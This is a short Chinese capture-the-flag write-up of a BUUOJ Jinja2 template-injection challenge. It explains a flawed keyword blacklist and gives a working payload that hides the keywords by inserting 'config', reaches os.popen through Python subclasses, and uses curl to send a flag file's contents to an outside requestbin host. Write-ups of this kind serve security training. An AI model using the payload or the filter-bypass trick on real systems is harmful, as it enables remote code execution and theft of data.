题目复现链接:https://buuoj.cn/challenges

{{被过滤,用{% if ... %}{% endif %}代替,用os.popen+curl来带出数据

黑名单过滤逻辑错误

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
                 ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
                 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
for no in blacklist:
    while True:
        if no in s:
            s = s.replace(no, '')
        else:
            break
return s

这个逻辑是按顺序针对每个关键词过滤,只能应付双写绕过,还可以用列表的最后一项来绕过过滤

{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http://http.requconfigestbin.buuoj.cn/1inhq4f1 -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}

注意buuoj的requestbin的url里面也有个request

相关文章:

  • 2021-09-05
  • 2022-03-04
  • 2022-01-07
  • 2021-09-10
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-08-03
  • 2021-06-24
  • 2022-12-23
  • 2021-09-07
  • 2021-10-09
  • 2021-09-16
相关资源
相似解决方案